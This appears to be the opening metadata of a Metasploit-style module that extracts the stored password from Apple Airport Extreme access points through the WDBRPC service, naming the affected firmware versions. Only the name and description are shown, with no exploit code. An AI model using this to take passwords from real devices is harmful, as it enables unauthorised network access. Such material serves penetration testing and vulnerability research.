'Name' => 'Apple Airport Extreme Password Extraction (WDBRPC)',
'Description' => %q{
This module can be used to read the stored password of a vulnerable
Apple Airport Extreme access point. Only a small number of firmware versions
have the WDBRPC service running, however the factory configuration was
vulnerable. It appears that firmware versions 5.0.x as well as 5.1.x are
susceptible to this issue. Once the password is obtained, the access point
can be managed using the Apple AirPort utility.
